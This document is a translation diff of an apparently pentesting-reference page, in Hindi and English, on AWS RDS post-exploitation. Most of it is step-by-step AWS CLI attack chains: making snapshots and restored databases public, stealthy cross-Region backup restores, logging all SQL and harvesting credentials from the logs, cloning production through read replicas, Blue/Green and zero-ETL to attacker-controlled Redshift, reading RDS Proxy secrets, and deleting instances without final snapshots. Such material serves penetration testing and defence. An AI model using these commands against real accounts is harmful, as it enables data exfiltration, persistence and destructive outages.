Translated ['src/pentesting-cloud/gcp-security/gcp-privilege-escalation/

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation/README.md

@@ -12,7 +12,7 @@
 
 ### `rds:CreateDBSnapshot`, `rds:RestoreDBInstanceFromDBSnapshot`, `rds:ModifyDBInstance`
 
-यदि हमलावर के पास पर्याप्त permissions हों, तो वह DB का एक snapshot बनाकर और फिर उस snapshot से एक publicly accessible DB बनाकर DB को सार्वजनिक रूप से पहुँचयोग्य बना सकता है।
+यदि attacker के पास पर्याप्त अनुमतियाँ हैं, तो वह DB का snapshot बनाकर और फिर उस snapshot से एक **DB सार्वजनिक रूप से उपलब्ध** बनाकर उसे सार्वजनिक रूप से उपलब्ध कर सकता है.
 ```bash
 aws rds describe-db-instances # Get DB identifier
 
@@ -39,22 +39,49 @@ aws rds modify-db-instance \
 # Connect to the new DB after a few mins
 ```
 ### `rds:StopDBCluster` & `rds:StopDBInstance`
+attacker के पास rds:StopDBCluster या rds:StopDBInstance होने पर वह किसी RDS instance या पूरे cluster को तुरंत रोक सकता है, जिससे डेटाबेस अनुपलब्धता, टूटे हुए कनेक्शन, और डेटाबेस पर निर्भर प्रक्रियाओं में बाधा आ सकती है।
 
-एक हमलावर जिसके पास rds:StopDBCluster या rds:StopDBInstance अनुमति हो, वह किसी RDS instance या पूरे cluster को तुरंत रोक सकता है, जिससे database अनुपलब्धता, टूटे हुए कनेक्शन, और उन प्रक्रियाओं का व्यवधान हो सकता है जो डेटाबेस पर निर्भर हैं।
+एक DB instance को रोकने के लिए (उदाहरण):
-
-एकल DB instance को रोकने के लिए (उदाहरण):
 ```bash
 aws rds stop-db-instance \
 --db-instance-identifier <DB_INSTANCE_IDENTIFIER>
 ```
-पूरे DB cluster को बंद करने के लिए (उदाहरण):
+पूरे DB cluster को रोकने के लिए (उदाहरण):
 ```bash
 aws rds stop-db-cluster \
 --db-cluster-identifier <DB_CLUSTER_IDENTIFIER>
 ```
+### `rds:Modify*`
+rds:Modify* अनुमति प्राप्त एक हमलावर महत्वपूर्ण कॉन्फ़िगरेशन और सहायक संसाधनों (parameter groups, option groups, proxy endpoints and endpoint-groups, target groups, subnet groups, capacity settings, snapshot/cluster attributes, certificates, integrations, आदि) को सीधे इंस्टेंस या क्लस्टर को छुए बिना बदल सकता है। कनेक्शन/टाइम-आउट पैरामीटर समायोजित करने, किसी proxy endpoint को बदलने, किस certificates को ट्रस्ट किया जाए बदलने, logical capacity में संशोधन करने, या किसी subnet group को पुनः कॉन्फ़िगर करने जैसे परिवर्तन सुरक्षा को कमजोर कर सकते हैं (नए एक्सेस पथ खोलना), routing और load-balancing को तोड़ सकते हैं, replication/backup नीतियों को अमान्य कर सकते हैं, और सामान्यतः availability या recoverability को कम कर सकते हैं। ये परिवर्तन अप्रत्यक्ष data exfiltration को भी आसान बना सकते हैं या किसी घटना के बाद डेटाबेस की व्यवस्थित recovery में बाधा डाल सकते हैं।
+
+RDS subnet group को आवंटित सबनेट्स को स्थानांतरित या बदलें:
+```bash
+aws rds modify-db-subnet-group \
+--db-subnet-group-name <db-subnet-group-name> \
+--subnet-ids <subnet-id-1> <subnet-id-2>
+```
+cluster parameter group में low-level engine parameters बदलें:
+```bash
+aws rds modify-db-cluster-parameter-group \
+--db-cluster-parameter-group-name <parameter-group-name> \
+--parameters "ParameterName=<parameter-name>,ParameterValue=<value>,ApplyMethod=immediate"
+```
+### `rds:Restore*`
+
+rds:Restore* permissions वाले हमलावर snapshots, automated backups, point-in-time recovery (PITR), या S3 में स्टोर फाइल्स से पूरे डेटाबेस को restore कर सकते हैं, और चुने गए point के डेटा से populated नए instances या clusters बना सकते हैं। ये operations मूल resources को overwrite नहीं करते — ये historical data वाले नए objects बनाते हैं — जिससे हमलावर को डेटाबेस की पूरी, functional copies (अतीत के time points से या external S3 फाइल्स से) प्राप्त करने और उनका उपयोग करके exfiltrate data करने, historical records को manipulate करने, या पुराने states को पुनर्निर्माण करने की अनुमति मिलती है।
+
+Restore a DB instance to a specific point in time:
+```bash
+aws rds restore-db-instance-to-point-in-time \
+--source-db-instance-identifier <source-db-instance-identifier> \
+--target-db-instance-identifier <target-db-instance-identifier> \
+--restore-time "<restore-time-ISO8601>" \
+--db-instance-class <db-instance-class> \
+--publicly-accessible --no-multi-az
+```
 ### `rds:Delete*`
 
-rds:Delete* की अनुमति प्राप्त attacker RDS resources को हटा सकता है — DB instances, clusters, snapshots, automated backups, subnet groups, parameter/option groups और संबंधित artifacts हटाकर — जिससे तुरंत service outage, data loss, recovery points का नाश और forensic evidence का नुकसान हो सकता है।
+An attacker को rds:Delete* दिया गया हो तो वह RDS संसाधनों को हटा सकता है — DB इंस्टेंस, क्लस्टर, स्नैपशॉट, स्वचालित बैकअप, सबनेट समूह, पैरामीटर/ऑप्शन समूह और संबंधित आर्टिफैक्ट्स को हटाकर — जिससे तत्काल सेवा बंद होना, डेटा हानि, रिकवरी पॉइंट्स का विनाश और फॉरेंसिक साक्ष्यों का नुकसान हो सकता है।
 ```bash
 # Delete a DB instance (creates a final snapshot unless you skip it)
 aws rds delete-db-instance \
@@ -77,9 +104,9 @@ aws rds delete-db-cluster \
 ```
 ### `rds:ModifyDBSnapshotAttribute`, `rds:CreateDBSnapshot`
 
-इन permissions के साथ एक attacker **DB का snapshot बना सकता है** और उसे **सार्वजनिक रूप से** **उपलब्ध** कर सकता है। फिर वह अपने ही account में उस snapshot से एक DB बना सकता है।
+इन अनुमतियों के साथ एक हमलावर **DB का स्नैपशॉट बना** सकता है और उसे **सार्वजनिक** **रूप से उपलब्ध** करवा सकता है। फिर वह अपने खाते में उस स्नैपशॉट से एक DB बना सकता है।
 
-यदि attacker के पास **`rds:CreateDBSnapshot` नहीं है**, तो भी वह बनाए गए **अन्य** snapshots को **सार्वजनिक** कर सकता है।
+यदि हमलावर के पास **`rds:CreateDBSnapshot` नहीं है**, तब भी वह बनाए गए **अन्य** स्नैपशॉट्स को **सार्वजनिक** बना सकता है।
 ```bash
 # create snapshot
 aws rds create-db-snapshot --db-instance-identifier <db-instance-identifier> --db-snapshot-identifier <snapshot-name>
@@ -90,45 +117,45 @@ aws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot-name> --
 ```
 ### `rds:DownloadDBLogFilePortion`
 
-एक हमलावर जिसके पास `rds:DownloadDBLogFilePortion` अनुमति है, वह **RDS instance की लॉग फ़ाइलों के हिस्से डाउनलोड कर सकता है**। यदि संवेदनशील डेटा या एक्सेस क्रेडेंशियल्स गलती से लॉग में दर्ज हो जाएँ, तो हमलावर इन जानकारियों का उपयोग करके अपनी अनुमतियाँ बढ़ा सकता है या अनधिकृत क्रियाएँ कर सकता है।
+जिसके पास `rds:DownloadDBLogFilePortion` अनुमति है, वह **RDS instance की लॉग फ़ाइलों के हिस्से डाउनलोड कर सकता है**। यदि संवेदनशील डेटा या पहुँच प्रमाण-पत्र गलती से लॉग हो गए हों, तो हमलावर संभावित रूप से इन जानकारियों का उपयोग अपने अधिकार बढ़ाने या अनधिकृत क्रियाएँ करने के लिए कर सकता है।
 ```bash
 aws rds download-db-log-file-portion --db-instance-identifier target-instance --log-file-name error/mysql-error-running.log --starting-token 0 --output text
 ```
-**Potential Impact**: संवेदनशील जानकारी तक पहुँच या leaked credentials का उपयोग करके अनधिकृत क्रियाएँ।
+**संभावित प्रभाव**: leaked credentials का उपयोग करके संवेदनशील जानकारी तक पहुँच या अनधिकृत क्रियाएँ।
 
 ### `rds:DeleteDBInstance`
 
-एक attacker इन permissions के साथ **DoS existing RDS instances** कर सकता है।
+एक attacker जिसके पास ये permissions हों वह **DoS existing RDS instances** कर सकता है।
 ```bash
 # Delete
 aws rds delete-db-instance --db-instance-identifier target-instance --skip-final-snapshot
 ```
-**Potential impact**: मौजूदा RDS इंस्टेंसों को हटाना और संभावित डेटा हानि।
+**संभावित प्रभाव**: मौजूदा RDS इंस्टेंस को हटाया जाना और संभावित डेटा हानि।
 
 ### `rds:StartExportTask`
 
 > [!NOTE]
-> TODO: परीक्षण
+> TODO: परीक्षण करें
 
-इस अनुमति वाले हमलावर के पास **RDS इंस्टेंस का स्नैपशॉट S3 bucket में निर्यात करने** की क्षमता हो सकती है। यदि हमलावर गंतव्य S3 bucket पर नियंत्रण रखते हैं, तो वे निर्यात किए गए स्नैपशॉट में मौजूद संवेदनशील डेटा तक पहुंच सकते हैं।
+एक हमलावर जिसके पास यह अनुमति है, **export an RDS instance snapshot to an S3 bucket** कर सकता है। यदि हमलावर के पास गंतव्य S3 बकेट पर नियंत्रण है, तो वे निर्यात किए गए स्नैपशॉट के भीतर संवेदनशील डेटा तक संभावित रूप से पहुँच सकते हैं।
 ```bash
 aws rds start-export-task --export-task-identifier attacker-export-task --source-arn arn:aws:rds:region:account-id:snapshot:target-snapshot --s3-bucket-name attacker-bucket --iam-role-arn arn:aws:iam::account-id:role/export-role --kms-key-id arn:aws:kms:region:account-id:key/key-id
 ```
-**संभावित प्रभाव**: निर्यात किए गए snapshot में संवेदनशील डेटा तक पहुँच।
+**संभावित प्रभाव**: निर्यातित स्नैपशॉट में संवेदनशील डेटा तक पहुंच।
 
-### Cross-Region Automated Backups Replication for Stealthy Restore (`rds:StartDBInstanceAutomatedBackupsReplication`)
+### Cross-Region Automated Backups Replication का दुरुपयोग करके छुपकर रिस्टोर (`rds:StartDBInstanceAutomatedBackupsReplication`)
 
-Abuse cross-Region automated backups replication को दुरुपयोग करके चुपचाप किसी RDS instance के automated backups को किसी अन्य AWS Region में duplicate करें और वहाँ restore करें। इसके बाद हमलावर restored DB को सार्वजनिक रूप से accessible बना सकता है और master password reset कर सकता है ताकि वह किसी ऐसे Region में out-of-band डेटा तक पहुँच सके जहाँ defenders संभवतः निगरानी न करें।
+Cross-Region automated backups replication का दुरुपयोग करके किसी RDS instance के automated backups को चुपचाप एक अन्य AWS Region में डुप्लिकेट करके वहां restore किया जा सकता है। फिर हमलावर restore किए गए DB को सार्वजनिक रूप से पहुँच योग्य बना सकता है और master password को रिसेट करके उस Region में defenders के नजर न रखने पर data तक out-of-band पहुंच बना सकता है।
 
-आवश्यक अनुमतियाँ (न्यूनतम):
+Permissions needed (minimum):
-- `rds:StartDBInstanceAutomatedBackupsReplication` in the destination Region
+- `rds:StartDBInstanceAutomatedBackupsReplication` destination Region में
-- `rds:DescribeDBInstanceAutomatedBackups` in the destination Region
+- `rds:DescribeDBInstanceAutomatedBackups` destination Region में
-- `rds:RestoreDBInstanceToPointInTime` in the destination Region
+- `rds:RestoreDBInstanceToPointInTime` destination Region में
-- `rds:ModifyDBInstance` in the destination Region
+- `rds:ModifyDBInstance` destination Region में
-- `rds:StopDBInstanceAutomatedBackupsReplication` (optional cleanup)
+- `rds:StopDBInstanceAutomatedBackupsReplication` (वैकल्पिक क्लीनअप)
-- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (to expose the restored DB)
+- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (restore किए गए DB को एक्सपोज़ करने के लिए)
 
-प्रभाव: production data की एक copy को किसी अन्य Region में restore करके उसे सार्वजनिक रूप से expose करने और attacker-controlled credentials के साथ access प्राप्त करने के माध्यम से Persistence और data exfiltration।
+प्रभाव: Production डेटा की एक कॉपी को दूसरे Region में restore करके और उसे सार्वजनिक रूप से हमलावर-नियंत्रित क्रेडेंशियल्स से एक्सपोज़ करके persistence और data exfiltration संभव हो सकती है।
 
 <details>
 <summary>End-to-end CLI (placeholders बदलें)</summary>
@@ -200,26 +227,26 @@ aws rds stop-db-instance-automated-backups-replication \
 </details>
 
 
-### DB parameter groups के माध्यम से पूरा SQL logging सक्षम करें और RDS log APIs के जरिए exfiltrate करें
+### पूर्ण SQL logging via DB parameter groups and exfiltrate via RDS log APIs
 
-`rds:ModifyDBParameterGroup` का दुरुपयोग करके RDS log download APIs के साथ applications द्वारा execute किए गए सभी SQL statements को capture करें (कोई DB engine credentials आवश्यक नहीं)। Engine SQL logging सक्षम करें और फ़ाइल लॉग्स को `rds:DescribeDBLogFiles` और `rds:DownloadDBLogFilePortion` (या REST `downloadCompleteLogFile`) के माध्यम से निकालें। यह उन क्वेरीज को इकट्ठा करने के लिए उपयोगी है जिनमें secrets/PII/JWTs हो सकते हैं।
+Applications द्वारा execute किए गए सभी SQL statements को capture करने के लिए `rds:ModifyDBParameterGroup` और RDS log download APIs का दुरुपयोग करें (DB engine credentials की आवश्यकता नहीं)। Engine SQL logging सक्षम करें और file logs को `rds:DescribeDBLogFiles` और `rds:DownloadDBLogFilePortion` के माध्यम से खींचें (या REST `downloadCompleteLogFile`)। यह उन queries को इकट्ठा करने के लिए उपयोगी है जिनमें secrets/PII/JWTs हो सकते हैं।
 
 Permissions needed (minimum):
 - `rds:DescribeDBInstances`, `rds:DescribeDBLogFiles`, `rds:DownloadDBLogFilePortion`
 - `rds:CreateDBParameterGroup`, `rds:ModifyDBParameterGroup`
-- `rds:ModifyDBInstance` (केवल तब जब instance default parameter group use कर रहा हो और custom parameter group attach करना हो)
+- `rds:ModifyDBInstance` (केवल तब, जब instance default parameter group उपयोग कर रहा हो और custom parameter group attach करना हो)
-- `rds:RebootDBInstance` (उन parameters के लिए जिनके लिए reboot आवश्यक है, जैसे PostgreSQL)
+- `rds:RebootDBInstance` (उन parameters के लिए जिनके लिए reboot की आवश्यकता होती है, जैसे PostgreSQL)
 
-Steps
+कदम
-1) लक्ष्य और वर्तमान parameter group की जाँच करें
+1) Recon target and current parameter group
 ```bash
 aws rds describe-db-instances \
 --query 'DBInstances[*].[DBInstanceIdentifier,Engine,DBParameterGroups[0].DBParameterGroupName]' \
 --output table
 ```
-2) सुनिश्चित करें कि एक कस्टम DB parameter group जुड़ा हुआ है (डिफ़ॉल्ट को संपादित नहीं किया जा सकता)
+2) सुनिश्चित करें कि एक कस्टम DB parameter group जुड़ा हुआ है (default को संपादित नहीं किया जा सकता)
-- यदि instance पहले से ही किसी कस्टम group का उपयोग कर रहा है, तो उसके नाम का अगले चरण में पुनः उपयोग करें।
+- यदि instance पहले से ही किसी कस्टम समूह का उपयोग कर रही है, तो अगले चरण में उसके नाम का पुन: उपयोग करें।
-- अन्यथा, engine family के अनुरूप एक बनाकर संलग्न करें:
+- अन्यथा, engine family से मेल खाने वाला एक बनाएँ और संलग्न करें:
 ```bash
 # Example for PostgreSQL 16
 aws rds create-db-parameter-group \
@@ -234,7 +261,7 @@ aws rds modify-db-instance \
 # Wait until status becomes "available"
 ```
 3) विस्तृत SQL लॉगिंग सक्षम करें
-- MySQL engines (तुरंत / बिना रीबूट):
+- MySQL engines (तुरंत / बिना रिबूट):
 ```bash
 aws rds modify-db-parameter-group \
 --db-parameter-group-name <PGNAME> \
@@ -245,7 +272,7 @@ aws rds modify-db-parameter-group \
 #   "ParameterName=slow_query_log,ParameterValue=1,ApplyMethod=immediate" \
 #   "ParameterName=long_query_time,ParameterValue=0,ApplyMethod=immediate"
 ```
-- PostgreSQL इंजिनों (रीबूट आवश्यक):
+- PostgreSQL इंजन (रीबूट आवश्यक):
 ```bash
 aws rds modify-db-parameter-group \
 --db-parameter-group-name <PGNAME> \
@@ -257,11 +284,11 @@ aws rds modify-db-parameter-group \
 # Reboot if any parameter is pending-reboot
 aws rds reboot-db-instance --db-instance-identifier <DB>
 ```
-4) वर्कलोड चलने दें (या क्वेरीज जनरेट करें)। स्टेटमेंट्स engine फ़ाइल लॉग में लिखे जाएंगे
+4) वर्कलोड को चलने दें (या क्वेरीज़ जनरेट करें)। स्टेटमेंट्स engine file logs में लिखे जाएंगे
 - MySQL: `general/mysql-general.log`
 - PostgreSQL: `postgresql.log`
 
-5) लॉग खोजें और डाउनलोड करें (no DB creds required)
+5) लॉग खोजें और डाउनलोड करें (कोई DB creds आवश्यक नहीं)
 ```bash
 aws rds describe-db-log-files --db-instance-identifier <DB>
 
@@ -272,7 +299,7 @@ aws rds download-db-log-file-portion \
 --starting-token 0 \
 --output text > dump.log
 ```
-6) संवेदनशील डेटा का ऑफ़लाइन विश्लेषण
+6) संवेदनशील डेटा के लिए ऑफ़लाइन विश्लेषण करें
 ```bash
 grep -Ei "password=|aws_access_key_id|secret|authorization:|bearer" dump.log | sed 's/\(aws_access_key_id=\)[A-Z0-9]*/\1AKIA.../; s/\(secret=\).*/\1REDACTED/; s/\(Bearer \).*/\1REDACTED/' | head
 ```
@@ -283,7 +310,7 @@ grep -Ei "password=|aws_access_key_id|secret|authorization:|bearer" dump.log | s
 2025-10-06T..Z    13 Query  INSERT INTO t(note) VALUES ('aws_access_key_id=AKIA... secret=REDACTED')
 ```
 सफाई
-- पैरामीटरों को डिफ़ॉल्ट पर पुनर्स्थापित करें और आवश्यकता होने पर रिबूट करें:
+- पैरामीटरों को डिफ़ॉल्ट पर वापस करें और आवश्यक होने पर reboot करें:
 ```bash
 # MySQL
 aws rds modify-db-parameter-group \
@@ -298,19 +325,19 @@ aws rds modify-db-parameter-group \
 "ParameterName=log_statement,ParameterValue=none,ApplyMethod=pending-reboot"
 # Reboot if pending-reboot
 ```
-प्रभाव: Post-exploitation डेटा पहुँच — AWS APIs के माध्यम से सभी application SQL statements को capture करके (no DB creds), संभावित रूप से secrets, JWTs, और PII leak हो सकते हैं।
+प्रभाव: Post-exploitation के दौरान AWS APIs के माध्यम से सभी एप्लिकेशन SQL statements को कैप्चर करके डेटा एक्सेस (कोई DB creds नहीं), संभावित रूप से leaking secrets, JWTs, और PII।
 
 ### `rds:CreateDBInstanceReadReplica`, `rds:ModifyDBInstance`
 
-Abuse RDS read replicas करके primary instance credentials को छुए बिना out-of-band read access हासिल किया जा सकता है। एक attacker production instance से एक read replica बना सकता है, replica का master password reset कर सकता है (यह primary को बदलता नहीं है), और वैकल्पिक रूप से replica को publicly expose करके data को exfiltrate कर सकता है।
+RDS read replicas का दुरुपयोग करके primary instance credentials को छुए बिना out-of-band read access हासिल किया जा सकता है। एक attacker production instance से एक read replica बना सकता है, replica का master password reset कर सकता है (यह primary को नहीं बदलता), और वैकल्पिक रूप से डेटा exfiltrate करने के लिए replica को सार्वजनिक रूप से expose कर सकता है।
 
-Permissions needed (minimum):
+आवश्यक permissions (न्यूनतम):
 - `rds:DescribeDBInstances`
 - `rds:CreateDBInstanceReadReplica`
 - `rds:ModifyDBInstance`
 - `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (if exposing publicly)
 
-प्रभाव: attacker-controlled credentials वाले replica के माध्यम से production data तक read-only पहुँच; primary अप्रभावित रहता है और replication जारी रहती है, इसलिए detection की संभावना कम होती है।
+प्रभाव: attacker-नियंत्रित credentials वाले replica के माध्यम से production डेटा तक केवल-पढ़ने की पहुँच; primary अप्रभावित रहने और replication जारी रहने के कारण detection की संभावना कम।
 ```bash
 # 1) Recon: find non-Aurora sources with backups enabled
 aws rds describe-db-instances \
@@ -342,12 +369,12 @@ REPL_ENDPOINT=$(aws rds describe-db-instances --db-instance-identifier <REPL_ID>
 # aws rds promote-read-replica --db-instance-identifier <REPL_ID>
 ```
 उदाहरण साक्ष्य (MySQL):
-- Replica DB स्थिति: `available`, read replication: `replicating`
+- रिप्लिका DB स्थिति: `available`, read replication: `replicating`
-- नए पासवर्ड के साथ सफल कनेक्शन और `@@read_only=1` पढ़ने-केवल replica पहुंच की पुष्टि करता है।
+- नए पासवर्ड के साथ सफल कनेक्शन और `@@read_only=1` द्वारा read-only रिप्लिका एक्सेस की पुष्टि।
 
 ### `rds:CreateBlueGreenDeployment`, `rds:ModifyDBInstance`
 
-RDS Blue/Green का दुरुपयोग करके production DB को क्लोन कर एक लगातार प्रतिकृत, read‑only green environment बना लें। फिर green master credentials को रिसेट करके डेटा तक पहुंच हासिल करें बिना blue (prod) instance को छुए। यह snapshot sharing की तुलना में अधिक गुप्त होता है और अक्सर केवल स्रोत पर केंद्रित निगरानी को बायपास कर देता है।
+RDS Blue/Green का दुरुपयोग करके production DB को एक लगातार प्रतिकृत, read-only green environment में क्लोन करें। फिर green master credentials रीसेट करके बिना blue (prod) instance को छुए डेटा तक पहुँच प्राप्त करें। यह snapshot sharing की तुलना में अधिक गुप्त है और अक्सर केवल स्रोत पर केंद्रित monitoring को दरकिनार कर देता है।
 ```bash
 # 1) Recon – find eligible source (non‑Aurora MySQL/PostgreSQL in the same account)
 aws rds describe-db-instances \
@@ -394,21 +421,22 @@ aws rds delete-blue-green-deployment \
 --blue-green-deployment-identifier <BGD_ID> \
 --delete-target true
 ```
-प्रभाव: पढ़ने-केवल लेकिन प्रोडक्शन के लगभग रीयल-टाइम क्लोन तक पूरा डेटा एक्सेस, बिना प्रोडक्शन इंस्टेंस को संशोधित किए। स्टील्थी डेटा एक्सट्रैक्शन और ऑफ़लाइन विश्लेषण के लिए उपयोगी।
+Impact: उत्पादन इंस्टेंस को बदले बिना उत्पादन के लगभग वास्तविक-समय क्लोन तक केवल-पढ़ने का पूरा डेटा एक्सेस। स्टील्थी तरीके से डेटा निकालने और ऑफ़लाइन विश्लेषण के लिए उपयोगी।
 
-### Out-of-band SQL via RDS Data API by enabling HTTP endpoint + resetting master password
 
-Aurora का दुरुपयोग करके टारगेट क्लस्टर पर RDS Data API HTTP endpoint सक्षम करें, master password को अपनी नियंत्रित वैल्यू में रीसेट करें, और HTTPS के ऊपर SQL चलाएँ (किसी VPC नेटवर्क पाथ की आवश्यकता नहीं)। यह उन Aurora engines पर काम करता है जो Data API/EnableHttpEndpoint को सपोर्ट करते हैं (उदा., Aurora MySQL 8.0 provisioned; कुछ Aurora PostgreSQL/MySQL वर्ज़न)।
+### RDS Data API के माध्यम से Out-of-band SQL — HTTP endpoint सक्षम करके + master password रीसेट करना
 
-अनुमतियाँ (न्यूनतम):
+Aurora का दुरुपयोग करके target cluster पर RDS Data API HTTP endpoint को सक्षम करें, master password को किसी ऐसे value पर रीसेट करें जिसका नियंत्रण आपके पास हो, और HTTPS पर SQL चलाएँ (कोई VPC नेटवर्क पाथ आवश्यक नहीं)। यह उन Aurora engines पर काम करता है जो Data API/EnableHttpEndpoint का समर्थन करते हैं (उदा., Aurora MySQL 8.0 provisioned; कुछ Aurora PostgreSQL/MySQL versions)।
+
+Permissions (minimum):
 - rds:DescribeDBClusters, rds:ModifyDBCluster (or rds:EnableHttpEndpoint)
 - secretsmanager:CreateSecret
 - rds-data:ExecuteStatement (and rds-data:BatchExecuteStatement if used)
 
-प्रभाव: नेटवर्क सेगमेंटेशन को बायपास करके AWS APIs के माध्यम से डेटा एक्सफिल्ट्रेट करें बिना DB के साथ डायरेक्ट VPC कनेक्टिविटी के।
+Impact: नेटवर्क segmentation को बाइपास करके और बिना सीधे VPC कनेक्टिविटी के DB तक AWS APIs के माध्यम से डेटा exfiltrate करना। 
 
 <details>
-<summary>End-to-end CLI (Aurora MySQL उदाहरण)</summary>
+<summary>एंड-टू-एंड CLI (Aurora MySQL उदाहरण)</summary>
 ```bash
 # 1) Identify target cluster ARN
 REGION=us-east-1
@@ -460,22 +488,21 @@ aws rds-data execute-statement --region $REGION --resource-arn "$CLUSTER_ARN" \
 ```
 </details>
 
-नोट:
+नोट्स:
-- यदि multi-statement SQL को rds-data द्वारा अस्वीकार किया जाता है, तो अलग-अलग execute-statement कॉल जारी करें।
+- यदि multi-statement SQL को rds-data द्वारा अस्वीकार कर दिया जाता है, तो अलग-अलग execute-statement कॉल चलाएँ।
-- उन engines के लिए जहां modify-db-cluster --enable-http-endpoint का कोई प्रभाव नहीं होता, rds enable-http-endpoint --resource-arn का उपयोग करें।
+- जिन engines में modify-db-cluster --enable-http-endpoint का कोई प्रभाव नहीं होता, वहाँ rds enable-http-endpoint --resource-arn का उपयोग करें।
 - सुनिश्चित करें कि engine/version वास्तव में Data API को सपोर्ट करता है; अन्यथा HttpEndpointEnabled False ही रहेगा।
 
+### RDS Proxy auth secrets के जरिए DB क्रेडेंशियल्स प्राप्त करें (`rds:DescribeDBProxies` + `secretsmanager:GetSecretValue`)
 
-### RDS Proxy auth secrets के माध्यम से DB credentials प्राप्त करें (`rds:DescribeDBProxies` + `secretsmanager:GetSecretValue`)
+RDS Proxy configuration का दुरुपयोग करके backend authentication के लिए उपयोग किए जा रहे Secrets Manager secret की पहचान करें, फिर database क्रेडेंशियल्स प्राप्त करने के लिए उस secret को पढ़ें। कई वातावरण में व्यापक `secretsmanager:GetSecretValue` अनुमति दी जाती है, जो DB क्रेडेंशियल्स तक पहुँचने का कम-प्रतिबंध वाला रास्ता बनाती है। यदि secret किसी CMK का उपयोग करता है, तो गलत-सीमांकित KMS permissions `kms:Decrypt` भी अनुमति दे सकते हैं।
 
-RDS Proxy configuration का दुरुपयोग करके Secrets Manager में उपयोग होने वाला secret खोजें जो backend authentication के लिए है, फिर उस secret को पढ़कर database credentials प्राप्त करें। कई वातावरण व्यापक `secretsmanager:GetSecretValue` अनुमति देते हैं, जिससे यह DB creds पर पहुँचने का कम प्रतिरोध वाला रास्ता बनता है। यदि secret किसी CMK का उपयोग करता है, तो गलत-स्कोप्ड KMS permissions भी `kms:Decrypt` की अनुमति दे सकते हैं।
+आवश्यक अनुमतियाँ (न्यूनतम):
-
-आवश्यक permissions (न्यूनतम):
 - `rds:DescribeDBProxies`
-- `secretsmanager:GetSecretValue` on the referenced SecretArn
+- `secretsmanager:GetSecretValue` उस संदर्भित SecretArn पर
-- Optional when the secret uses a CMK: `kms:Decrypt` on that key
+- वैकल्पिक: यदि secret किसी CMK का उपयोग करता है तो उस key पर `kms:Decrypt`
 
-प्रभाव: प्रॉक्सी पर कॉन्फ़िगर किया गया DB username/password तुरंत उजागर हो सकता है; यह सीधे DB access या आगे lateral movement की अनुमति देता है।
+प्रभाव: proxy पर कॉन्फ़िगर किए गए DB username/password का तत्काल खुलासा; सीधे DB एक्सेस या आगे की lateral movement सक्षम हो सकती है।
 
 कदम
 ```bash
@@ -509,27 +536,27 @@ aws rds create-db-proxy --db-proxy-name p0 --engine-family MYSQL \
 aws rds wait db-proxy-available --db-proxy-name p0
 # Now run the enumeration + secret read from the Steps above
 ```
-साफ-सफाई (लैब)
+साफ़-सफाई (लैब)
 ```bash
 aws rds delete-db-proxy --db-proxy-name p0
 aws iam detach-role-policy --role-name rds-proxy-secret-role --policy-arn arn:aws:iam::aws:policy/SecretsManagerReadWrite
 aws iam delete-role --role-name rds-proxy-secret-role
 aws secretsmanager delete-secret --secret-id rds/proxy/aurora-demo --force-delete-without-recovery
 ```
-### चुपके से सतत exfiltration via Aurora zero‑ETL to Amazon Redshift (rds:CreateIntegration)
+### Aurora zero‑ETL के माध्यम से Amazon Redshift में छिपी हुई सतत डेटा निकासी (rds:CreateIntegration)
 
-Aurora PostgreSQL zero‑ETL integration का दुरुपयोग करके production डेटा को लगातार आपके नियंत्रण वाले Redshift Serverless namespace में replicate किया जा सकता है। एक permissive Redshift resource policy जो किसी specific Aurora cluster ARN के लिए CreateInboundIntegration/AuthorizeInboundIntegration को authorize करती है, एक attacker को DB creds, snapshots या network exposure के बिना near‑real‑time डेटा कॉपी स्थापित करने की अनुमति दे सकती है।
+Aurora PostgreSQL zero‑ETL integration का दुरुपयोग करके प्रोडक्शन डेटा को लगातार आपके नियंत्रण वाले Redshift Serverless namespace में replicate किया जा सकता है। एक permissive Redshift resource policy जो किसी specific Aurora cluster ARN के लिए CreateInboundIntegration/AuthorizeInboundIntegration को authorize करती है, एक attacker को DB creds, snapshots या network exposure के बिना लगभग real‑time डेटा कॉपी स्थापित करने में सक्षम बनाती है।
 
 Permissions needed (minimum):
 - `rds:CreateIntegration`, `rds:DescribeIntegrations`, `rds:DeleteIntegration`
 - `redshift:PutResourcePolicy`, `redshift:DescribeInboundIntegrations`, `redshift:DescribeIntegrations`
-- `redshift-data:ExecuteStatement/GetStatementResult/ListDatabases` (to query)
+- `redshift-data:ExecuteStatement/GetStatementResult/ListDatabases` (query करने के लिए)
-- `rds-data:ExecuteStatement` (optional; to seed data if needed)
+- `rds-data:ExecuteStatement` (वैकल्पिक; आवश्यक होने पर data seed करने के लिए)
 
 Tested on: us-east-1, Aurora PostgreSQL 16.4 (Serverless v2), Redshift Serverless.
 
 <details>
-<summary>1) Redshift Serverless namespace + workgroup बनाएँ</summary>
+<summary>1) Redshift Serverless namespace और workgroup बनाएं</summary>
 ```bash
 REGION=us-east-1
 RS_NS_ARN=$(aws redshift-serverless create-namespace --region $REGION --namespace-name ztl-ns \
@@ -632,11 +659,11 @@ aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --d
 ```
 </details>
 
-परीक्षण में देखे गए प्रमाण:
+Evidence observed in test:
 - redshift describe-inbound-integrations: Status ACTIVE for Integration arn:...377a462b-...
-- SVV_INTEGRATION ने integration_id 377a462b-c42c-4f08-937b-77fe75d98211 और state PendingDbConnectState दिखाया, DB creation से पहले।
+- SVV_INTEGRATION ने integration_id 377a462b-c42c-4f08-937b-77fe75d98211 और state PendingDbConnectState दिखाया, DB निर्माण से पहले।
-- CREATE DATABASE FROM INTEGRATION के बाद, tables सूची करने पर schema ztl और table customers सामने आए; ztl.customers से select करने पर 2 rows (Alice, Bob) लौटे।
+- CREATE DATABASE FROM INTEGRATION के बाद, tables की सूची करने पर schema ztl और table customers मिले; ztl.customers से select करने पर 2 rows (Alice, Bob) लौटे।
 
-प्रभाव: हमलावर द्वारा नियंत्रित Redshift Serverless में चुनी गई Aurora PostgreSQL तालिकाओं का निरंतर near‑real‑time exfiltration, बिना database credentials, backups, या source cluster तक network access का उपयोग किए।
+प्रभाव: हमलावर द्वारा नियंत्रित Redshift Serverless में चुनी हुई Aurora PostgreSQL tables का लगातार near‑real‑time exfiltration, बिना डेटाबेस क्रेडेंशियल्स, बैकअप, या source cluster तक नेटवर्क एक्सेस का उपयोग किए।
 
